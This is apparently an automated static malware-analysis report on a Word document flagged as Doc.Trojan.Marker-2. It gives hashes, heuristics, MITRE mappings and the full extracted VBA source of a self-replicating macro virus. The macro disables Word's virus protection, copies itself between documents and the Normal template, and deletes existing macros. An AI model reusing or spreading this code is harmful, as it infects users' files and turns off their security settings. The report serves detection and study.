Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 46a95bbce271abb0…

MALICIOUS

Office (OLE)

43.5 KB Created: 2005-09-06 15:30:00 Authoring application: Microsoft Word 11.3.5 First seen: 2017-07-23
MD5: 5d5e766dd52c6ad1475a40933d3d8cb1 SHA-1: bd12d327d61a7feebfaebfc528a0e33e81d50298 SHA-256: 46a95bbce271abb0d6dfc2fa27dc2e2ba531ca30eec4710776668eda7fe612e8
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Word document containing VBA macros, as indicated by the OLE_VBA_MACROS and CLAMAV_DETECTION heuristics. The Document_Open macro is present and appears to attempt to modify the NormalTemplate, potentially for persistence or further malicious actions. The script also contains logic for a fake birthday message, which could be a social engineering lure. The presence of VBA macros strongly suggests an attack pattern involving spearphishing attachments.

Heuristics 3

  • ClamAV: Doc.Trojan.Marker-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Dim x1, x2, x3, x4 As Boolean Dim x5, x6 As Object Dim x7, x8, x16 As Integer Dim x9 As Date Dim x10, x11, x12, x13, x14 As String Const x15 = ":-D you are marked!" Private Sub Document_Close() On Error Resume Next Set x5 = ActiveDocument.VBProject.VBComponent …

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4242 bytes
SHA-256: de24f7a32c52ca8254e76d1c38d9682de36f7ff0cef57281084650c2aa566c0c
Detection
ClamAV: Doc.Trojan.Marker-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Dim x1, x2, x3, x4 As Boolean
Dim x5, x6 As Object
Dim x7, x8, x16 As Integer
Dim x9 As Date
Dim x10, x11, x12, x13, x14 As String
Const x15 = ":-D you are marked!"
Private Sub Document_Close()
On Error Resume Next
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.codemodule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.codemodule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
    Application.Caption = "Happy Birthday Shankar-25th July.The World may Forget but not me"
    x10 = MsgBox("Did You Wish Shankar on his Birthday ?", vbYesNo)
    If x10 = vbYes Then
        MsgBox "Thank You! I Love You. You are wonderfull."
    Else
        MsgBox " You are Heart Less." & vbCrLf & "You Will Be Punished For This", vbCritical
    End If
End If
If x3 = True Then
    x13 = x5.codemodule.Lines(1, x5.codemodule.CountOfLines)
ElseIf x4 = True Then
    x13 = x6.codemodule.Lines(1, x6.codemodule.CountOfLines)
End If

If (x3 = True Xor x4 = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then

      If x3 = True Then
        x2 = NormalTemplate.Saved
        x11 = x5.codemodule.Lines(1, x5.codemodule.CountOfLines)
        x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
        x6.codemodule.AddFromString x11
        With Dialogs(wdDialogFileSummaryInfo): .Title = "Are You suprised ?": .Subject = "Birthday ": .Author = "LSK": .Category = "You Are Infected": .Keywords = "Birthday": .Comments = "Shankar's Birthday falls on 25th July.  Don't Forget to wish him": .Execute: End With
        If x2 = True Then NormalTemplate.Save
      End If
    If x4 = True Or ActiveDocument.Saved = False Then
     x1 = ActiveDocument.Saved
     x11 = x6.codemodule.Lines(1, x6.codemodule.CountOfLines)
     x5.codemodule.deletelines 1, x5.codemodule.CountOfLines
     x5.codemodule.AddFromString x11
     With Dialogs(wdDialogFileSummaryInfo): .Title = "Are You suprised ?": .Subject = "Birthday ": .Author = "LSK": .Category = "You Are Infected": .Keywords = "Birthday": .Comments = "Shankar's Birthday falls on 25th July.  Don't Forget to wish him": .Execute: End With
     If x1 = True Then ActiveDocument.Save
   End If
  
    
End If

End Sub

Private Sub Document_New()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.codemodule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.codemodule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
    x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
End If
If x3 = False Then
        x5.codemodule.deletelines 1, x5.codemodule.CountOfLines
End If

x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
With Selection.Font: x16 = .Size: .Size = 72: .ColorIndex = wdGreen: .Animation = wdAnimationSparkleText: Selection.InsertAfter "Happy BirthDay Shankar": Selection.MoveDown Unit:=wdScreen, Count:=2: .Size = x16: .ColorIndex = wdAuto: .Animation = wdAnimationNone: End With
End If
End Sub

Private Sub Document_Open()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.codemodule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.codemodule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
    x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
End If
If x3 = False Then
        x5.codemodule.deletelines 1, x5.codemodule.CountOfLines
End If

x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
    x10 = MsgBox("Did You Wish Shankar on his Birthday ?", vbYesNo)
End If
End Sub
icc_00_off0000020b.icc pdf-icc-profile PDF ICC profile at offset 0x20B 1320 bytes
SHA-256: eb03db58ff1f226c83103a11f30b5520f9b68a7ced67daa78992723e3ea0411d

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